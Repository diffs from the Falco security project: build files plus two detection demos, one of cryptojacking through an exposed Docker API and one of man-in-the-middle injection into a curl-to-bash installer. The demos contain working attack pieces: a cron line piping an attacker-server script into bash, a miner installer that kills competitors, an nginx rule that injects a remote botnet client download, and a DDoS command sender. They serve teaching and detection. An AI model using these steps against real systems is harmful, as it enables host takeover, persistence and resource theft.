&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

View File

@@ -0,0 +1,17 @@
#!/bin/bash
#set -e
# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
do
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
done
/usr/bin/falco-probe-loader
fi
exec "$@"

View File

@@ -1,29 +0,0 @@
FROM fedora:31
LABEL name="falcosecurity/falco-tester"
LABEL usage="docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build --name <name> falcosecurity/falco-tester test"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG TARGETARCH
ENV FALCO_VERSION=
ENV BUILD_TYPE=release
RUN if [ "$TARGETARCH" = "amd64" ] ; then curl -L -o grpcurl.tar.gz \
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_x86_64.tar.gz; \
else curl -L -o grpcurl.tar.gz \
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_arm64.tar.gz; \
fi;
RUN dnf install -y python-pip python docker findutils jq unzip && dnf clean all
ENV PATH="/root/.local/bin/:${PATH}"
RUN pip install --user avocado-framework==69.0
RUN pip install --user avocado-framework-plugin-varianter-yaml-to-mux==69.0
RUN pip install --user watchdog==0.10.2
RUN pip install --user pathtools==0.1.2
RUN tar -C /usr/bin -xvf grpcurl.tar.gz
COPY ./root /
ENTRYPOINT ["entrypoint"]
CMD ["usage"]

View File

@@ -1,21 +0,0 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN apt update -y
RUN apt install dkms -y
ADD falco-${FALCO_VERSION}-*.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
COPY rules/*.yaml /rules/
COPY trace_files/*.scap /traces/
CMD ["/usr/bin/falco"]

View File

@@ -1,22 +0,0 @@
FROM centos:7
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN yum update -y
RUN yum install epel-release -y
ADD falco-${FALCO_VERSION}-*.rpm /
RUN yum install -y /falco-${FALCO_VERSION}-$(uname -m).rpm
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
COPY rules/*.yaml /rules/
COPY trace_files/*.scap /traces/
CMD ["/usr/bin/falco"]

View File

@@ -1,21 +0,0 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN apt update -y
RUN apt install dkms curl -y
ADD falco-${FALCO_VERSION}-*.tar.gz /
RUN cp -R /falco-${FALCO_VERSION}-$(uname -m)/* /
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
COPY rules/*.yaml /rules/
COPY trace_files/*.scap /traces/
CMD ["/usr/bin/falco"]

View File

@@ -1,93 +0,0 @@
#!/usr/bin/env bash
BUILD_DIR=${BUILD_DIR:-/build}
SOURCE_DIR=${SOURCE_DIR:-/source}
SKIP_PACKAGES_TESTS=${SKIP_PACKAGES_TESTS:-false}
CMD=${1:-test}
shift
# Stop the execution if a command in the pipeline has an error, from now on
set -e -u -o pipefail
# build type can be "debug" or "release", fallbacks to "release" by default
BUILD_TYPE=$(echo "$BUILD_TYPE" | tr "[:upper:]" "[:lower:]")
case "$BUILD_TYPE" in
"debug")
;;
*)
BUILD_TYPE="release"
;;
esac
build_image() {
BUILD_DIR=$1
BUILD_TYPE=$2
FALCO_VERSION=$3
PACKAGE_TYPE=$4
PACKAGE="$BUILD_DIR/$BUILD_TYPE/falco-$FALCO_VERSION-$(uname -m).${PACKAGE_TYPE}"
if [ ! -f "$PACKAGE" ]; then
echo "Package not found: ${PACKAGE}." >&2
exit 1
fi
DOCKER_IMAGE_NAME="falcosecurity/falco:test-${PACKAGE_TYPE}"
echo "Building local docker image $DOCKER_IMAGE_NAME from latest ${PACKAGE_TYPE} package..."
mkdir -p /runner-rootfs
cp "$PACKAGE" /runner-rootfs
cp -R "$SOURCE_DIR/falco/test/rules" /runner-rootfs
cp -R "$SOURCE_DIR/falco/test/trace_files" /runner-rootfs
docker build -f "/runners/$PACKAGE_TYPE.Dockerfile" --build-arg FALCO_VERSION="$FALCO_VERSION" -t "$DOCKER_IMAGE_NAME" /runner-rootfs
}
clean_image() {
PACKAGE_TYPE=$1
DOCKER_IMAGE_NAME="falcosecurity/falco:test-${PACKAGE_TYPE}"
docker rmi -f "$DOCKER_IMAGE_NAME"
}
case "$CMD" in
"test")
if [ -z "$FALCO_VERSION" ]; then
echo "Automatically figuring out Falco version."
FALCO_VERSION_FULL=$("$BUILD_DIR/$BUILD_TYPE/userspace/falco/falco" --version)
FALCO_VERSION=$(echo "$FALCO_VERSION_FULL" | head -n 1 | cut -d' ' -f3 | tr -d '\r')
echo "Falco version: $FALCO_VERSION"
fi
if [ -z "$FALCO_VERSION" ]; then
echo "Falco version cannot be guessed, please provide it with the FALCO_VERSION environment variable." >&2
exit 1
fi
# build docker images
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "tar.gz"
fi
# check that source directory contains Falco
if [ ! -d "$SOURCE_DIR/falco/test" ]; then
echo "Missing $SOURCE_DIR/falco/test directory." >&2
exit 1
fi
# run tests
echo "Running regression tests ..."
cd "$SOURCE_DIR/falco/test"
SKIP_PACKAGES_TESTS=$SKIP_PACKAGES_TESTS ./run_regression_tests.sh -d "$BUILD_DIR/$BUILD_TYPE"
# clean docker images
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
clean_image "deb"
clean_image "rpm"
clean_image "tar.gz"
fi
;;
"bash")
CMD=/bin/bash
;& # fallthrough
"usage")
exec "$CMD" "$@"
;;
esac

View File

@@ -1,41 +0,0 @@
#!/usr/bin/env bash
pythonversion=$(python -c 'import sys; version=sys.version_info[:3]; print("{0}.{1}.{2}".format(*version))')
pipversion=$(pip --version | cut -d' ' -f 1,2,5,6)
dockerversion=$(docker --version)
avocadoversion=$(pip show avocado-framework | grep Version)
avocadoversion=${avocadoversion#"Version: "}
cat <<EOF
Hello, this is the Falco tester container.
How to use.
The default commands for the Falco tester image reports usage and environment info.
* docker run falcosecurity/falco-tester
* docker run falcosecurity/falco-tester usage
It supports bash.
* docker run -ti falcosecurity/falco-tester bash
To run Falco regression tests you need to provide:
- the docker socket
- the boot directory
- the source directory
- the directory where Falco has been built
- the environment variable FALCO_VARIABLE set to the value obtained during the Falco's build
Assuming you are running it from the Falco root directory, you can run it as follows.
* docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build -e FALCO_VERSION=<current_falco_version> falcosecurity/falco-tester test
How to build.
* cd docker/tester && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
Environment.
* python ${pythonversion}
* ${pipversion}
* avocado ${avocadoversion}
* ${dockerversion}
EOF

View File

@@ -1,45 +0,0 @@
ARG UBI_VERSION=latest
FROM registry.access.redhat.com/ubi8/ubi:${UBI_VERSION}
ARG FALCO_VERSION
RUN test -n "$FALCO_VERSION" || (echo "FALCO_VERSION not set" && false)
ENV FALCO_VERSION=${FALCO_VERSION}
LABEL "name"="Falco Runtime Security"
LABEL "vendor"="Falco"
LABEL "version"="${FALCO_VERSION}"
LABEL "release"="${FALCO_VERSION}"
LABEL "ubi-version"="${UBI_VERSION}"
LABEL "summary"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL "description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL "io.k8s.display-name"="Falco"
LABEL "io.k8s.description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN dnf -y update && \
dnf -y install \
curl \
make \
cmake \
gcc \
llvm-toolset \
clang \
kmod \
&& dnf -y clean all ; rm -rf /var/cache/{dnf,yum}
RUN mkdir /build && cd /build/ && curl --remote-name-all -L https://github.com/dell/dkms/archive/refs/tags/v3.0.3.tar.gz && \
tar xvf v3.0.3.tar.gz && cd dkms-3.0.3 && make install-redhat && rm -rf /build
RUN mkdir /deploy && cd /deploy/ && curl --remote-name-all -L https://download.falco.org/packages/bin/$(uname -m)/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
cd / && tar --strip-components=1 -xvf /deploy/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
rm -rf /deploy
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

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@@ -1,39 +0,0 @@
#!/bin/bash
#
# Copyright (C) 2022 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
# Required by dkms to find the required dependencies on RedHat UBI
rm -fr /usr/src/kernels/ && rm -fr /usr/src/debug/
rm -fr /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules
rm -fr /boot && ln -s $HOST_ROOT/boot /boot
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
done
/usr/bin/falco-driver-loader
fi
exec "$@"

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@@ -0,0 +1,117 @@
# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

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server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

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{"config": "some-bitcoin-miner-config-goes-here"}

View File

@@ -0,0 +1,64 @@
#!/bin/sh
echo "***Checking for existing Miner program"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Killing competing Miner programs"
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/sshd
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
echo "***Reinstalling cron job to run Miner program"
crontab -r || true && \
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true
echo "***Configuring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Configuring system for Miner program"
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Running Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "***Ensuring Miner program is alive"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Reconfiguring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Reconfiguring system for Miner program"
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Restarting Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

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#!/bin/bash
while true; do
echo "Mining bitcoins..."
sleep 60
done

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@@ -0,0 +1,41 @@
version: '3'
volumes:
host-filesystem:
docker-socket:
services:
host-machine:
privileged: true
build:
context: ${PWD}/host-machine
dockerfile: ${PWD}/host-machine/Dockerfile
volumes:
- host-filesystem:/etc
- docker-socket:/var/run
ports:
- "2375:2375"
depends_on:
- "falco"
attacker-server:
image: nginx:latest
ports:
- "8220:8220"
volumes:
- ${PWD}/attacker_files:/usr/share/nginx/html
- ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- "falco"
falco:
image: sysdig/falco:latest
privileged: true
volumes:
- docker-socket:/host/var/run
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

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@@ -0,0 +1,7 @@
{
"Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/etc:/mnt/etc"]
}
}

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@@ -0,0 +1,12 @@
FROM docker:stable-dind
RUN set -ex \
&& apk add --no-cache \
bash curl
COPY start-cron-and-dind.sh /usr/local/bin
ENTRYPOINT ["start-cron-and-dind.sh"]
CMD []

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@@ -0,0 +1,11 @@
#!/bin/sh
# Start docker-in-docker, but backgrounded with its output still going
# to stdout/stderr.
dockerd-entrypoint.sh &
# Start cron in the foreground with a moderate level of debugging to
# see job output.
crond -f -d 6

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@@ -0,0 +1,14 @@
#!/bin/sh
echo "Pulling alpine:latest image to docker-in-docker instance"
curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
echo "Creating container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
echo "Running container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'

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@@ -0,0 +1,78 @@
#Demo of falco with man-in-the-middle attacks on installation scripts
For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
## Demo architecture
### Initial setup
Make sure no prior `botnet_client.py` processes are lying around.
### Start everything using docker-compose
From this directory, run the following:
```
$ docker-compose -f demo.yml up
```
This starts the following containers:
* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
* falco: will detect the activities of botnet_client.py.
### Download `install-software.sh`, see botnet client running
Run the following to fetch and execute the installation script,
which also installs the botnet client:
```
$ curl http://localhost/install-software.sh | bash
```
You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
```
$ ps auxww | grep python
...
root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
$ telnet localhost 1234
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```
You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
```
attacker_botnet_master | Trying to contact compromised machine...
attacker_botnet_master | Waiting for botnet command and control commands...
attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
```
At this point, kill the botnet_client.py process to clean things up.
### Run installation script again using `fbash`, note falco warnings.
If you run the installation script again:
```
curl http://localhost/install-software.sh | ./fbash
```
In the docker-compose output, you'll see the following falco warnings:
```
falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
```

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@@ -0,0 +1,7 @@
#!/bin/sh
while true; do
echo "Trying to contact compromised machine..."
echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
sleep 5
done

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@@ -0,0 +1,51 @@
# Owned by software vendor, serving install-software.sh.
apache:
container_name: apache
image: httpd:2.4
volumes:
- ${PWD}/web_root:/usr/local/apache2/htdocs
# Owned by software vendor, compromised by attacker.
nginx:
container_name: mitm_nginx
image: nginx:latest
links:
- apache
ports:
- "80:80"
volumes:
- ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
# Owned by attacker.
evil_apache:
container_name: evil_apache
image: httpd:2.4
volumes:
- ${PWD}/evil_web_root:/usr/local/apache2/htdocs
ports:
- "9090:80"
# Owned by attacker, constantly trying to contact client.
attacker_botnet_master:
container_name: attacker_botnet_master
image: alpine:latest
net: host
volumes:
- ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
command:
- /tmp/botnet_master.sh
# Owned by client, detects attack by attacker
falco:
container_name: falco
image: sysdig/falco:latest
privileged: true
volumes:
- /var/run/docker.sock:/host/var/run/docker.sock
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
- ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
tty: true

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@@ -0,0 +1,18 @@
import socket;
import signal;
import os;
os.close(0);
os.close(1);
os.close(2);
signal.signal(signal.SIGINT,signal.SIG_IGN);
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('0.0.0.0', 1234))
serversocket.listen(5);
while 1:
(clientsocket, address) = serversocket.accept();
clientsocket.send('Waiting for botnet command and control commands...\n');
command = clientsocket.recv(1024)
clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
clientsocket.close()

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@@ -0,0 +1,15 @@
#!/bin/bash
SID=`ps --no-heading -o sess --pid $$`
if [ $SID -ne $$ ]; then
# Not currently a session leader? Run a copy of ourself in a new
# session, with copies of stdin/stdout/stderr.
setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
FBASH=$!
trap "kill $FBASH; exit" SIGINT SIGTERM
wait $FBASH
else
# Just evaluate the commands (from stdin)
source /dev/stdin
fi

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@@ -0,0 +1,12 @@
http {
server {
location / {
sub_filter_types '*';
sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
sub_filter_once off;
proxy_pass http://apache:80;
}
}
}
events {
}

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@@ -0,0 +1,156 @@
#!/bin/bash
#
# Copyright (C) 2013-2014 My Company inc.
#
# This file is part of my-software
#
# my-software is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# my-software is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with my-software. If not, see <http://www.gnu.org/licenses/>.
#
set -e
function install_rpm {
if ! hash curl > /dev/null 2>&1; then
echo "* Installing curl"
yum -q -y install curl
fi
echo "*** Installing my-software public key"
# A rpm --import command would normally be here
echo "*** Installing my-software repository"
# A curl path-to.repo <some url> would normally be here
echo "*** Installing my-software"
# A yum -q -y install my-software command would normally be here
echo "*** my-software Installed!"
}
function install_deb {
export DEBIAN_FRONTEND=noninteractive
if ! hash curl > /dev/null 2>&1; then
echo "* Installing curl"
apt-get -qq -y install curl < /dev/null
fi
echo "*** Installing my-software public key"
# A curl <url> | apt-key add - command would normally be here
echo "*** Installing my-software repository"
# A curl path-to.list <some url> would normally be here
echo "*** Installing my-software"
# An apt-get -qq -y install my-software command would normally be here
echo "*** my-software Installed!"
}
function unsupported {
echo 'Unsupported operating system. Please consider writing to the mailing list at'
echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
echo 'installation.'
exit 1
}
if [ $(id -u) != 0 ]; then
echo "Installer must be run as root (or with sudo)."
# exit 1
fi
echo "* Detecting operating system"
ARCH=$(uname -m)
if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
unsupported
fi
if [ -f /etc/debian_version ]; then
if [ -f /etc/lsb-release ]; then
. /etc/lsb-release
DISTRO=$DISTRIB_ID
VERSION=${DISTRIB_RELEASE%%.*}
else
DISTRO="Debian"
